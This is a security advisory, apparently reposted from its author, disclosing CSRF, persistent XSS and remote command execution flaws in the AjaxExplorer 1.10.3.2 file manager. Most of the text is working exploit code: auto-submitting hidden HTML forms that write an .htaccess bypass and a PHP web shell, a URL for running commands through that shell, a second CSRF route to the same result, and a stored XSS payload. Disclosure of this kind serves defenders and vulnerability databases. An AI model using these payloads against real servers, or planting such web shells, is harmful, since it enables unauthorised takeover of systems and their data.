AjaxExplorer 1.10.3.2 CSRF / XSS / Command Execution

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AJAXEXPLORER-REMOTE-CMD-EXECUTION.txt  
  
[+] ISR: apparitionsec  
  
  
  
Vendor:  
==========  
sourceforge.net  
smsid  
  
download linx:  
sourceforge.net/projects/ajax-explorer/files/  
  
  
Product:  
=======================  
AjaxExplorer v1.10.3.2  
  
Manage server files through simple windows like interface.  
  
  
Vulnerability Type:  
=======================  
Remote Command Execution  
CSRF  
Persistent XSS  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
AjaxExplorer has command terminal feature where you can move, copy, delete  
files etc... also lets a user save commands in a  
flat file named "terminal" under their user profile  
"/ae.user/owner/myprofile".  
  
e.g.  
  
copy [FILEPATH + FILENAME] [FILEPATH]  
create [FILEPATH + FILENAME]  
  
Since AjaxExplorer also suffers from CSRF vulnerability we can exploit the  
application by first creating an .htaccess file with an  
"allow from all" directive to bypass access restrictions, next create  
arbitrary PHP files for remote command execution purposes.  
This exploit will require two consecutive HTTP requests, so we need to  
target an iframe to stay on same page until exploit is completed.  
  
  
  
Exploit code(s):  
===============  
  
1) first POST request creates .htaccess file so we can bypass directory  
browsing restrictions.  
2) second POST writes our remote command execution file we will then access  
to execute commands on the victim system.  
  
The below P:/ for "strPath" form value is for "Profile"  
  
  
<iframe name="PWNED" style="display:none" name="hidden-form"></iframe>  
  
<form target="PWNED" id="htaccess" action="  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"  
method="post">  
<input type="hidden" name="strPage" value="control/file/editor" >  
<input type="hidden" name="strPath" value="P:/" >  
<input type="hidden" name="strFile" value=".htaccess" >  
<input type="hidden" name="strText" value='allow from all' >  
<script>document.getElementById('htaccess').submit()</script>  
</form>  
  
<form target="PWNED" id="RCE" action="  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php"  
method="post">  
<input type="hidden" name="strPage" value="control/file/editor" >  
<input type="hidden" name="strPath" value="P:/" >  
<input type="hidden" name="strFile" value="terminal.php" >  
<input type="hidden" name="strText" value='<?php exec($_GET["cmd"]);?>' >  
<script>document.getElementById('RCE').submit()</script>  
</form>  
  
Now we can access and run arbitrary cmds.  
  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/ae.user/owner/myprofile/terminal.php?cmd=c  
:\\Windows\\system32\\calc.exe  
  
  
/////////////////////////////////////////////////////  
  
  
Here is another way to RCE this application... first create PHP file then  
edit.  
  
<iframe name="DOOM" style="display:none" name="hidden-form"></iframe>  
  
<form target="DOOM" id="CSRF2" method="post" action="  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">  
<input type="hidden" name="strPage" value="control/file/editor" />  
<input type="hidden" name="strPath" value="D:/" />  
<input type="hidden" name="strFile" value="PWNED.php" />  
<input type="hidden" name="strText"  
value="<?php%20exec($_GET['cmd']);%20?>" />  
</form>  
  
<form target="DOOM" id="CSRF1" method="post" action="  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">  
<input type="hidden" name="strPage" value="control/file/create" />  
<input type="hidden" name="strPath" value="D:/" />  
<input type="hidden" name="strFile" value="D:/PWNED.php" />  
<script>  
document.getElementById('CSRF1').submit()  
document.getElementById('CSRF2').submit()  
</script>  
</form>  
  
  
////////////////////////  
  
Persistent XSS:  
================  
  
We can also write persistent XSS payload to the user profile "terminal"  
file.  
  
<form id="XSS" method="post" action="  
http://localhost/AjaxExplorer%201.10.3.2/ajaxexplorer/index.php">  
<input type="hidden" name="strPage" value="control/file/editor" />  
<input type="hidden" name="strPath" value="P:/" />  
<input type="hidden" name="strFile" value="terminal" />  
<input type="hidden" name="strText" value="<script>alert(666)</script>" />  
<script>document.getElementById('XSS').submit()</script>  
</form>  
  
  
  
Disclosure Timeline:  
===============================  
Vendor Notification: NA  
June 1, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
8.0 (High)  
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`